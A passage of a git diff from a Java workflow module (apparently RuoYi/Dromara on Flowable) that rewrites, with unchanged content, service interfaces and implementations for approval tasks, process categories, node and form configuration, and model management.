deleteMultiInstanceExecution(DeleteMultiBo deleteMultiBo); - - /** - * 驳回审批 - * - * @param backProcessBo 参数 - * @return 流程实例id - */ - String backProcess(BackProcessBo backProcessBo); - - /** - * 修改任务办理人 - * - * @param taskIds 任务id - * @param userId 办理人id - * @return 结果 - */ - boolean updateAssignee(String[] taskIds, String userId); - - /** - * 查询流程变量 - * - * @param taskId 任务id - * @return 结果 - */ - List getInstanceVariable(String taskId); - - /** - * 查询工作流任务用户选择加签人员 - * - * @param taskId 任务id - * @return 结果 - */ - String getTaskUserIdsByAddMultiInstance(String taskId); - - /** - * 查询工作流选择减签人员 - * - * @param taskId 任务id - * @return 结果 - */ - List getListByDeleteMultiInstance(String taskId); -} +package org.dromara.workflow.service; + +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.workflow.domain.bo.*; +import org.dromara.workflow.domain.vo.TaskVo; +import org.dromara.workflow.domain.vo.VariableVo; + +import java.util.List; +import java.util.Map; + +/** + * 任务 服务层 + * + * @author may + */ +public interface IActTaskService { + /** + * 启动任务 + * + * @param startProcessBo 启动流程参数 + * @return 结果 + */ + Map startWorkFlow(StartProcessBo startProcessBo); + + + /** + * 办理任务 + * + * @param completeTaskBo 办理任务参数 + * @return 结果 + */ + boolean completeTask(CompleteTaskBo completeTaskBo); + + /** + * 查询当前用户的待办任务 + * + * @param taskBo 参数 + * @param pageQuery 分页 + * @return 结果 + */ + TableDataInfo getPageByTaskWait(TaskBo taskBo, PageQuery pageQuery); + + /** + * 查询当前租户所有待办任务 + * + * @param taskBo 参数 + * @param pageQuery 分页 + * @return 结果 + */ + TableDataInfo getPageByAllTaskWait(TaskBo taskBo, PageQuery pageQuery); + + + /** + * 查询当前用户的已办任务 + * + * @param taskBo 参数 + * @param pageQuery 参数 + * @return 结果 + */ + TableDataInfo getPageByTaskFinish(TaskBo taskBo, PageQuery pageQuery); + + /** + * 查询当前用户的抄送 + * + * @param taskBo 参数 + * @param pageQuery 参数 + * @return 结果 + */ + TableDataInfo getPageByTaskCopy(TaskBo taskBo, PageQuery pageQuery); + + /** + * 查询当前租户所有已办任务 + * + * @param taskBo 参数 + * @param pageQuery 参数 + * @return 结果 + */ + TableDataInfo getPageByAllTaskFinish(TaskBo taskBo, PageQuery pageQuery); + + /** + * 委派任务 + * + * @param delegateBo 参数 + * @return 结果 + */ + boolean delegateTask(DelegateBo delegateBo); + + /** + * 终止任务 + * + * @param terminationBo 参数 + * @return 结果 + */ + boolean terminationTask(TerminationBo terminationBo); + + /** + * 转办任务 + * + * @param transmitBo 参数 + * @return 结果 + */ + boolean transferTask(TransmitBo transmitBo); + + /** + * 会签任务加签 + * + * @param addMultiBo 参数 + * @return 结果 + */ + boolean addMultiInstanceExecution(AddMultiBo addMultiBo); + + /** + * 会签任务减签 + * + * @param deleteMultiBo 参数 + * @return 结果 + */ + boolean deleteMultiInstanceExecution(DeleteMultiBo deleteMultiBo); + + /** + * 驳回审批 + * + * @param backProcessBo 参数 + * @return 流程实例id + */ + String backProcess(BackProcessBo backProcessBo); + + /** + * 修改任务办理人 + * + * @param taskIds 任务id + * @param userId 办理人id + * @return 结果 + */ + boolean updateAssignee(String[] taskIds, String userId); + + /** + * 查询流程变量 + * + * @param taskId 任务id + * @return 结果 + */ + List getInstanceVariable(String taskId); + + /** + * 查询工作流任务用户选择加签人员 + * + * @param taskId 任务id + * @return 结果 + */ + String getTaskUserIdsByAddMultiInstance(String taskId); + + /** + * 查询工作流选择减签人员 + * + * @param taskId 任务id + * @return 结果 + */ + List getListByDeleteMultiInstance(String taskId); +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/ITActivityService.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/ITActivityService.java index b7696b6..b485bc6 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/ITActivityService.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/ITActivityService.java @@ -1,68 +1,68 @@ -package org.dromara.workflow.service; - -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.workflow.domain.bo.TActivityBo; -import org.dromara.workflow.domain.vo.TActivityVo; - -import java.util.Collection; -import java.util.List; - -/** - * 活动Service接口 - * - * @author Lion Li - * @date 2024-07-19 - */ -public interface ITActivityService { - - /** - * 查询活动 - * - * @param id 主键 - * @return 活动 - */ - TActivityVo queryById(Long id); - - /** - * 分页查询活动列表 - * - * @param bo 查询条件 - * @param pageQuery 分页参数 - * @return 活动分页列表 - */ - TableDataInfo queryPageList(TActivityBo bo, PageQuery pageQuery); - - /** - * 查询符合条件的活动列表 - * - * @param bo 查询条件 - * @return 活动列表 - */ - List queryList(TActivityBo bo); - - /** - * 新增活动 - * - * @param bo 活动 - * @return 是否新增成功 - */ - Boolean insertByBo(TActivityBo bo); - - /** - * 修改活动 - * - * @param bo 活动 - * @return 是否修改成功 - */ - Boolean updateByBo(TActivityBo bo); - - /** - * 校验并批量删除活动信息 - * - * @param ids 待删除的主键集合 - * @param isValid 是否进行有效性校验 - * @return 是否删除成功 - */ - Boolean deleteWithValidByIds(Collection ids, Boolean isValid); -} +package org.dromara.workflow.service; + +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.workflow.domain.bo.TActivityBo; +import org.dromara.workflow.domain.vo.TActivityVo; + +import java.util.Collection; +import java.util.List; + +/** + * 活动Service接口 + * + * @author Lion Li + * @date 2024-07-19 + */ +public interface ITActivityService { + + /** + * 查询活动 + * + * @param id 主键 + * @return 活动 + */ + TActivityVo queryById(Long id); + + /** + * 分页查询活动列表 + * + * @param bo 查询条件 + * @param pageQuery 分页参数 + * @return 活动分页列表 + */ + TableDataInfo queryPageList(TActivityBo bo, PageQuery pageQuery); + + /** + * 查询符合条件的活动列表 + * + * @param bo 查询条件 + * @return 活动列表 + */ + List queryList(TActivityBo bo); + + /** + * 新增活动 + * + * @param bo 活动 + * @return 是否新增成功 + */ + Boolean insertByBo(TActivityBo bo); + + /** + * 修改活动 + * + * @param bo 活动 + * @return 是否修改成功 + */ + Boolean updateByBo(TActivityBo bo); + + /** + * 校验并批量删除活动信息 + * + * @param ids 待删除的主键集合 + * @param isValid 是否进行有效性校验 + * @return 是否删除成功 + */ + Boolean deleteWithValidByIds(Collection ids, Boolean isValid); +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/ITestLeaveService.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/ITestLeaveService.java index 943c919..9af601f 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/ITestLeaveService.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/ITestLeaveService.java @@ -1,48 +1,48 @@ -package org.dromara.workflow.service; - -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.workflow.domain.bo.TestLeaveBo; -import org.dromara.workflow.domain.vo.TestLeaveVo; - -import java.util.Collection; -import java.util.List; - -/** - * 请假Service接口 - * - * @author may - * @date 2023-07-21 - */ -public interface ITestLeaveService { - - /** - * 查询请假 - */ - TestLeaveVo queryById(Long id); - - /** - * 查询请假列表 - */ - TableDataInfo queryPageList(TestLeaveBo bo, PageQuery pageQuery); - - /** - * 查询请假列表 - */ - List queryList(TestLeaveBo bo); - - /** - * 新增请假 - */ - TestLeaveVo insertByBo(TestLeaveBo bo); - - /** - * 修改请假 - */ - TestLeaveVo updateByBo(TestLeaveBo bo); - - /** - * 校验并批量删除请假信息 - */ - Boolean deleteWithValidByIds(Collection ids); -} +package org.dromara.workflow.service; + +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.workflow.domain.bo.TestLeaveBo; +import org.dromara.workflow.domain.vo.TestLeaveVo; + +import java.util.Collection; +import java.util.List; + +/** + * 请假Service接口 + * + * @author may + * @date 2023-07-21 + */ +public interface ITestLeaveService { + + /** + * 查询请假 + */ + TestLeaveVo queryById(Long id); + + /** + * 查询请假列表 + */ + TableDataInfo queryPageList(TestLeaveBo bo, PageQuery pageQuery); + + /** + * 查询请假列表 + */ + List queryList(TestLeaveBo bo); + + /** + * 新增请假 + */ + TestLeaveVo insertByBo(TestLeaveBo bo); + + /** + * 修改请假 + */ + TestLeaveVo updateByBo(TestLeaveBo bo); + + /** + * 校验并批量删除请假信息 + */ + Boolean deleteWithValidByIds(Collection ids); +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/IWfCategoryService.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/IWfCategoryService.java index acf0aa2..9ddf3ff 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/IWfCategoryService.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/IWfCategoryService.java @@ -1,51 +1,51 @@ -package org.dromara.workflow.service; - -import org.dromara.workflow.domain.WfCategory; -import org.dromara.workflow.domain.bo.WfCategoryBo; -import org.dromara.workflow.domain.vo.WfCategoryVo; - -import java.util.Collection; -import java.util.List; - -/** - * 流程分类Service接口 - * - * @author may - * @date 2023-06-28 - */ -public interface IWfCategoryService { - - /** - * 查询流程分类 - */ - WfCategoryVo queryById(Long id); - - - /** - * 查询流程分类列表 - */ - List queryList(WfCategoryBo bo); - - /** - * 新增流程分类 - */ - Boolean insertByBo(WfCategoryBo bo); - - /** - * 修改流程分类 - */ - Boolean updateByBo(WfCategoryBo bo); - - /** - * 校验并批量删除流程分类信息 - */ - Boolean deleteWithValidByIds(Collection ids, Boolean isValid); - - /** - * 按照类别编码查询 - * - * @param categoryCode 分类比吗 - * @return 结果 - */ - WfCategory queryByCategoryCode(String categoryCode); -} +package org.dromara.workflow.service; + +import org.dromara.workflow.domain.WfCategory; +import org.dromara.workflow.domain.bo.WfCategoryBo; +import org.dromara.workflow.domain.vo.WfCategoryVo; + +import java.util.Collection; +import java.util.List; + +/** + * 流程分类Service接口 + * + * @author may + * @date 2023-06-28 + */ +public interface IWfCategoryService { + + /** + * 查询流程分类 + */ + WfCategoryVo queryById(Long id); + + + /** + * 查询流程分类列表 + */ + List queryList(WfCategoryBo bo); + + /** + * 新增流程分类 + */ + Boolean insertByBo(WfCategoryBo bo); + + /** + * 修改流程分类 + */ + Boolean updateByBo(WfCategoryBo bo); + + /** + * 校验并批量删除流程分类信息 + */ + Boolean deleteWithValidByIds(Collection ids, Boolean isValid); + + /** + * 按照类别编码查询 + * + * @param categoryCode 分类比吗 + * @return 结果 + */ + WfCategory queryByCategoryCode(String categoryCode); +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/IWfDefinitionConfigService.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/IWfDefinitionConfigService.java index 02bf2c2..65f885b 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/IWfDefinitionConfigService.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/IWfDefinitionConfigService.java @@ -1,83 +1,83 @@ -package org.dromara.workflow.service; - -import org.dromara.workflow.domain.bo.WfDefinitionConfigBo; -import org.dromara.workflow.domain.vo.WfDefinitionConfigVo; - -import java.util.Collection; -import java.util.List; - -/** - * 流程定义配置Service接口 - * - * @author may - * @date 2024-03-18 - */ -public interface IWfDefinitionConfigService { - - /** - * 查询流程定义配置 - * - * @param definitionId 流程定义id - * @return 结果 - */ - WfDefinitionConfigVo getByDefId(String definitionId); - - /** - * 查询流程定义配置 - * - * @param tableName 表名 - * @return 结果 - */ - WfDefinitionConfigVo getByTableNameLastVersion(String tableName); - - /** - * 查询流程定义配置 - * - * @param definitionId 流程定义id - * @param tableName 表名 - * @return 结果 - */ - WfDefinitionConfigVo getByDefIdAndTableName(String definitionId, String tableName); - - /** - * 查询流程定义配置排除当前查询的流程定义 - * - * @param definitionId 流程定义id - * @param tableName 表名 - * @return 结果 - */ - List getByTableNameNotDefId(String tableName, String definitionId); - - /** - * 查询流程定义配置列表 - * - * @param definitionIds 流程定义id - * @return 结果 - */ - List queryList(List definitionIds); - - - /** - * 新增流程定义配置 - * - * @param bo 参数 - * @return 结果 - */ - Boolean saveOrUpdate(WfDefinitionConfigBo bo); - - /** - * 删除 - * - * @param ids id - * @return 结果 - */ - Boolean deleteByIds(Collection ids); - - /** - * 按照流程定义id删除 - * - * @param ids 流程定义id - * @return 结果 - */ - Boolean deleteByDefIds(Collection ids); -} +package org.dromara.workflow.service; + +import org.dromara.workflow.domain.bo.WfDefinitionConfigBo; +import org.dromara.workflow.domain.vo.WfDefinitionConfigVo; + +import java.util.Collection; +import java.util.List; + +/** + * 流程定义配置Service接口 + * + * @author may + * @date 2024-03-18 + */ +public interface IWfDefinitionConfigService { + + /** + * 查询流程定义配置 + * + * @param definitionId 流程定义id + * @return 结果 + */ + WfDefinitionConfigVo getByDefId(String definitionId); + + /** + * 查询流程定义配置 + * + * @param tableName 表名 + * @return 结果 + */ + WfDefinitionConfigVo getByTableNameLastVersion(String tableName); + + /** + * 查询流程定义配置 + * + * @param definitionId 流程定义id + * @param tableName 表名 + * @return 结果 + */ + WfDefinitionConfigVo getByDefIdAndTableName(String definitionId, String tableName); + + /** + * 查询流程定义配置排除当前查询的流程定义 + * + * @param definitionId 流程定义id + * @param tableName 表名 + * @return 结果 + */ + List getByTableNameNotDefId(String tableName, String definitionId); + + /** + * 查询流程定义配置列表 + * + * @param definitionIds 流程定义id + * @return 结果 + */ + List queryList(List definitionIds); + + + /** + * 新增流程定义配置 + * + * @param bo 参数 + * @return 结果 + */ + Boolean saveOrUpdate(WfDefinitionConfigBo bo); + + /** + * 删除 + * + * @param ids id + * @return 结果 + */ + Boolean deleteByIds(Collection ids); + + /** + * 按照流程定义id删除 + * + * @param ids 流程定义id + * @return 结果 + */ + Boolean deleteByDefIds(Collection ids); +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/IWfFormManageService.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/IWfFormManageService.java index 8eca717..e0e9799 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/IWfFormManageService.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/IWfFormManageService.java @@ -1,81 +1,81 @@ -package org.dromara.workflow.service; - -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.workflow.domain.bo.WfFormManageBo; -import org.dromara.workflow.domain.vo.WfFormManageVo; - -import java.util.Collection; -import java.util.List; - -/** - * 表单管理Service接口 - * - * @author may - * @date 2024-03-29 - */ -public interface IWfFormManageService { - - /** - * 查询表单管理 - * - * @param id 主键 - * @return 结果 - */ - WfFormManageVo queryById(Long id); - - /** - * 查询表单管理 - * - * @param ids 主键 - * @return 结果 - */ - List queryByIds(List ids); - - /** - * 查询表单管理列表 - * - * @param bo 参数 - * @param pageQuery 分页 - * @return 结果 - */ - TableDataInfo queryPageList(WfFormManageBo bo, PageQuery pageQuery); - - /** - * 查询表单管理列表 - * - * @return 结果 - */ - List selectList(); - /** - * 查询表单管理列表 - * - * @param bo 参数 - * @return 结果 - */ - List queryList(WfFormManageBo bo); - - /** - * 新增表单管理 - * - * @param bo 参数 - * @return 结果 - */ - Boolean insertByBo(WfFormManageBo bo); - - /** - * 修改表单管理 - * - * @param bo 参数 - * @return 结果 - */ - Boolean updateByBo(WfFormManageBo bo); - - /** - * 批量删除表单管理信息 - * - * @param ids 主键 - * @return 结果 - */ - Boolean deleteByIds(Collection ids); -} +package org.dromara.workflow.service; + +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.workflow.domain.bo.WfFormManageBo; +import org.dromara.workflow.domain.vo.WfFormManageVo; + +import java.util.Collection; +import java.util.List; + +/** + * 表单管理Service接口 + * + * @author may + * @date 2024-03-29 + */ +public interface IWfFormManageService { + + /** + * 查询表单管理 + * + * @param id 主键 + * @return 结果 + */ + WfFormManageVo queryById(Long id); + + /** + * 查询表单管理 + * + * @param ids 主键 + * @return 结果 + */ + List queryByIds(List ids); + + /** + * 查询表单管理列表 + * + * @param bo 参数 + * @param pageQuery 分页 + * @return 结果 + */ + TableDataInfo queryPageList(WfFormManageBo bo, PageQuery pageQuery); + + /** + * 查询表单管理列表 + * + * @return 结果 + */ + List selectList(); + /** + * 查询表单管理列表 + * + * @param bo 参数 + * @return 结果 + */ + List queryList(WfFormManageBo bo); + + /** + * 新增表单管理 + * + * @param bo 参数 + * @return 结果 + */ + Boolean insertByBo(WfFormManageBo bo); + + /** + * 修改表单管理 + * + * @param bo 参数 + * @return 结果 + */ + Boolean updateByBo(WfFormManageBo bo); + + /** + * 批量删除表单管理信息 + * + * @param ids 主键 + * @return 结果 + */ + Boolean deleteByIds(Collection ids); +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/IWfNodeConfigService.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/IWfNodeConfigService.java index 5e64d64..7ce4894 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/IWfNodeConfigService.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/IWfNodeConfigService.java @@ -1,56 +1,56 @@ -package org.dromara.workflow.service; - -import org.dromara.workflow.domain.WfNodeConfig; -import org.dromara.workflow.domain.vo.WfNodeConfigVo; - -import java.util.Collection; -import java.util.List; - -/** - * 节点配置Service接口 - * - * @author may - * @date 2024-03-30 - */ -public interface IWfNodeConfigService { - - /** - * 查询节点配置 - * - * @param id 主键 - * @return 结果 - */ - WfNodeConfigVo queryById(Long id); - - /** - * 保存节点配置 - * - * @param list 参数 - * @return 结果 - */ - Boolean saveOrUpdate(List list); - - /** - * 批量删除节点配置信息 - * - * @param ids 主键 - * @return 结果 - */ - Boolean deleteByIds(Collection ids); - - /** - * 按照流程定义id删除 - * - * @param ids 流程定义id - * @return 结果 - */ - Boolean deleteByDefIds(Collection ids); - - /** - * 按照流程定义id查询 - * - * @param ids 流程定义id - * @return 结果 - */ - List selectByDefIds(Collection ids); -} +package org.dromara.workflow.service; + +import org.dromara.workflow.domain.WfNodeConfig; +import org.dromara.workflow.domain.vo.WfNodeConfigVo; + +import java.util.Collection; +import java.util.List; + +/** + * 节点配置Service接口 + * + * @author may + * @date 2024-03-30 + */ +public interface IWfNodeConfigService { + + /** + * 查询节点配置 + * + * @param id 主键 + * @return 结果 + */ + WfNodeConfigVo queryById(Long id); + + /** + * 保存节点配置 + * + * @param list 参数 + * @return 结果 + */ + Boolean saveOrUpdate(List list); + + /** + * 批量删除节点配置信息 + * + * @param ids 主键 + * @return 结果 + */ + Boolean deleteByIds(Collection ids); + + /** + * 按照流程定义id删除 + * + * @param ids 流程定义id + * @return 结果 + */ + Boolean deleteByDefIds(Collection ids); + + /** + * 按照流程定义id查询 + * + * @param ids 流程定义id + * @return 结果 + */ + List selectByDefIds(Collection ids); +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/IWfTaskBackNodeService.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/IWfTaskBackNodeService.java index 97f9406..45f1f0d 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/IWfTaskBackNodeService.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/IWfTaskBackNodeService.java @@ -1,65 +1,65 @@ -package org.dromara.workflow.service; - - -import org.dromara.workflow.domain.WfTaskBackNode; -import org.flowable.task.api.Task; - -import java.util.List; - -/** - * 节点驳回记录Service接口 - * - * @author may - * @date 2024-03-13 - */ -public interface IWfTaskBackNodeService { - - /** - * 记录审批节点 - * - * @param task 任务 - */ - void recordExecuteNode(Task task); - - /** - * 按流程实例id查询 - * - * @param processInstanceId 流程实例id - * @return 结果 - */ - List getListByInstanceId(String processInstanceId); - - /** - * 按照流程实例id,节点id查询 - * - * @param processInstanceId 流程实例id - * @param nodeId 节点id - * @return 结果 - */ - WfTaskBackNode getListByInstanceIdAndNodeId(String processInstanceId, String nodeId); - - /** - * 删除驳回后的节点 - * - * @param processInstanceId 流程实例id - * @param targetActivityId 节点id - * @return 结果 - */ - boolean deleteBackTaskNode(String processInstanceId, String targetActivityId); - - /** - * 按流程实例id删除 - * - * @param processInstanceId 流程实例id - * @return 结果 - */ - boolean deleteByInstanceId(String processInstanceId); - - /** - * 按流程实例id删除 - * - * @param processInstanceIds 流程实例id - * @return 结果 - */ - boolean deleteByInstanceIds(List processInstanceIds); -} +package org.dromara.workflow.service; + + +import org.dromara.workflow.domain.WfTaskBackNode; +import org.flowable.task.api.Task; + +import java.util.List; + +/** + * 节点驳回记录Service接口 + * + * @author may + * @date 2024-03-13 + */ +public interface IWfTaskBackNodeService { + + /** + * 记录审批节点 + * + * @param task 任务 + */ + void recordExecuteNode(Task task); + + /** + * 按流程实例id查询 + * + * @param processInstanceId 流程实例id + * @return 结果 + */ + List getListByInstanceId(String processInstanceId); + + /** + * 按照流程实例id,节点id查询 + * + * @param processInstanceId 流程实例id + * @param nodeId 节点id + * @return 结果 + */ + WfTaskBackNode getListByInstanceIdAndNodeId(String processInstanceId, String nodeId); + + /** + * 删除驳回后的节点 + * + * @param processInstanceId 流程实例id + * @param targetActivityId 节点id + * @return 结果 + */ + boolean deleteBackTaskNode(String processInstanceId, String targetActivityId); + + /** + * 按流程实例id删除 + * + * @param processInstanceId 流程实例id + * @return 结果 + */ + boolean deleteByInstanceId(String processInstanceId); + + /** + * 按流程实例id删除 + * + * @param processInstanceIds 流程实例id + * @return 结果 + */ + boolean deleteByInstanceIds(List processInstanceIds); +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/impl/ActHiProcinstServiceImpl.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/impl/ActHiProcinstServiceImpl.java index 06d607b..d487bcd 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/impl/ActHiProcinstServiceImpl.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/impl/ActHiProcinstServiceImpl.java @@ -1,51 +1,51 @@ -package org.dromara.workflow.service.impl; - - -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import lombok.RequiredArgsConstructor; -import org.dromara.common.tenant.helper.TenantHelper; -import org.dromara.workflow.domain.ActHiProcinst; -import org.dromara.workflow.mapper.ActHiProcinstMapper; -import org.dromara.workflow.service.IActHiProcinstService; -import org.springframework.stereotype.Service; - -import java.util.List; - - -/** - * 流程实例Service业务层处理 - * - * @author may - * @date 2023-07-22 - */ -@RequiredArgsConstructor -@Service -public class ActHiProcinstServiceImpl implements IActHiProcinstService { - - private final ActHiProcinstMapper baseMapper; - - /** - * 按照业务id查询 - * - * @param businessKeys 业务id - */ - @Override - public List selectByBusinessKeyIn(List businessKeys) { - return baseMapper.selectList(new LambdaQueryWrapper() - .in(ActHiProcinst::getBusinessKey, businessKeys) - .eq(TenantHelper.isEnable(), ActHiProcinst::getTenantId, TenantHelper.getTenantId())); - } - - /** - * 按照业务id查询 - * - * @param businessKey 业务id - */ - @Override - public ActHiProcinst selectByBusinessKey(String businessKey) { - return baseMapper.selectOne(new LambdaQueryWrapper() - .eq(ActHiProcinst::getBusinessKey, businessKey) - .eq(TenantHelper.isEnable(), ActHiProcinst::getTenantId, TenantHelper.getTenantId())); - - } -} +package org.dromara.workflow.service.impl; + + +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import lombok.RequiredArgsConstructor; +import org.dromara.common.tenant.helper.TenantHelper; +import org.dromara.workflow.domain.ActHiProcinst; +import org.dromara.workflow.mapper.ActHiProcinstMapper; +import org.dromara.workflow.service.IActHiProcinstService; +import org.springframework.stereotype.Service; + +import java.util.List; + + +/** + * 流程实例Service业务层处理 + * + * @author may + * @date 2023-07-22 + */ +@RequiredArgsConstructor +@Service +public class ActHiProcinstServiceImpl implements IActHiProcinstService { + + private final ActHiProcinstMapper baseMapper; + + /** + * 按照业务id查询 + * + * @param businessKeys 业务id + */ + @Override + public List selectByBusinessKeyIn(List businessKeys) { + return baseMapper.selectList(new LambdaQueryWrapper() + .in(ActHiProcinst::getBusinessKey, businessKeys) + .eq(TenantHelper.isEnable(), ActHiProcinst::getTenantId, TenantHelper.getTenantId())); + } + + /** + * 按照业务id查询 + * + * @param businessKey 业务id + */ + @Override + public ActHiProcinst selectByBusinessKey(String businessKey) { + return baseMapper.selectOne(new LambdaQueryWrapper() + .eq(ActHiProcinst::getBusinessKey, businessKey) + .eq(TenantHelper.isEnable(), ActHiProcinst::getTenantId, TenantHelper.getTenantId())); + + } +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/impl/ActHiTaskinstServiceImpl.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/impl/ActHiTaskinstServiceImpl.java index 0e9ff41..e030f63 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/impl/ActHiTaskinstServiceImpl.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/impl/ActHiTaskinstServiceImpl.java @@ -1,18 +1,18 @@ -package org.dromara.workflow.service.impl; - -import lombok.RequiredArgsConstructor; -import org.dromara.workflow.service.IActHiTaskinstService; -import org.springframework.stereotype.Service; - - -/** - * 流程历史任务Service业务层处理 - * - * @author may - * @date 2024-03-02 - */ -@RequiredArgsConstructor -@Service -public class ActHiTaskinstServiceImpl implements IActHiTaskinstService { - -} +package org.dromara.workflow.service.impl; + +import lombok.RequiredArgsConstructor; +import org.dromara.workflow.service.IActHiTaskinstService; +import org.springframework.stereotype.Service; + + +/** + * 流程历史任务Service业务层处理 + * + * @author may + * @date 2024-03-02 + */ +@RequiredArgsConstructor +@Service +public class ActHiTaskinstServiceImpl implements IActHiTaskinstService { + +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/impl/ActModelServiceImpl.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/impl/ActModelServiceImpl.java index 217538e..1618922 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/impl/ActModelServiceImpl.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/impl/ActModelServiceImpl.java @@ -1,431 +1,431 @@ -package org.dromara.workflow.service.impl; - -import cn.hutool.core.collection.CollUtil; -import cn.hutool.core.lang.Validator; -import cn.hutool.core.util.ArrayUtil; -import cn.hutool.core.util.ObjectUtil; -import cn.hutool.core.util.StrUtil; -import cn.hutool.core.util.ZipUtil; -import cn.hutool.json.JSONUtil; -import com.alibaba.excel.util.StringUtils; -import jakarta.servlet.http.HttpServletResponse; -import lombok.RequiredArgsConstructor; -import lombok.extern.slf4j.Slf4j; -import org.apache.batik.transcoder.TranscoderInput; -import org.apache.batik.transcoder.TranscoderOutput; -import org.apache.batik.transcoder.image.PNGTranscoder; -import org.dromara.common.core.exception.ServiceException; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.common.tenant.helper.TenantHelper; -import org.dromara.workflow.common.constant.FlowConstant; -import org.dromara.workflow.domain.WfNodeConfig; -import org.dromara.workflow.domain.bo.ModelBo; -import org.dromara.workflow.domain.bo.WfDefinitionConfigBo; -import org.dromara.workflow.domain.vo.ModelVo; -import org.dromara.workflow.domain.vo.WfDefinitionConfigVo; -import org.dromara.workflow.service.IActModelService; -import org.dromara.workflow.service.IWfDefinitionConfigService; -import org.dromara.workflow.service.IWfNodeConfigService; -import org.dromara.workflow.utils.ModelUtils; -import org.dromara.workflow.utils.QueryUtils; -import org.flowable.bpmn.converter.BpmnXMLConverter; -import org.flowable.bpmn.model.BpmnModel; -import org.flowable.bpmn.model.Process; -import org.flowable.bpmn.model.UserTask; -import org.flowable.engine.RepositoryService; -import org.flowable.engine.repository.Deployment; -import org.flowable.engine.repository.Model; -import org.flowable.engine.repository.ModelQuery; -import org.flowable.engine.repository.ProcessDefinition; -import org.flowable.validation.ValidationError; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.stereotype.Service; -import org.springframework.transaction.annotation.Transactional; - -import java.io.ByteArrayInputStream; -import java.io.ByteArrayOutputStream; -import java.io.IOException; -import java.io.InputStream; -import java.net.URLEncoder; -import java.nio.charset.StandardCharsets; -import java.util.ArrayList; -import java.util.Collections; -import java.util.List; -import java.util.stream.Collectors; -import java.util.zip.ZipEntry; -import java.util.zip.ZipOutputStream; - -/** - * 模型管理 服务层实现 - * - * @author may - */ -@Slf4j -@RequiredArgsConstructor -@Service -public class ActModelServiceImpl implements IActModelService { - - @Autowired(required = false) - private RepositoryService repositoryService; - private final IWfNodeConfigService wfNodeConfigService; - private final IWfDefinitionConfigService wfDefinitionConfigService; - - /** - * 分页查询模型 - * - * @param modelBo 模型参数 - * @return 返回分页列表 - */ - @Override - public TableDataInfo page(ModelBo modelBo, PageQuery pageQuery) { - ModelQuery query = QueryUtils.modelQuery(); - if 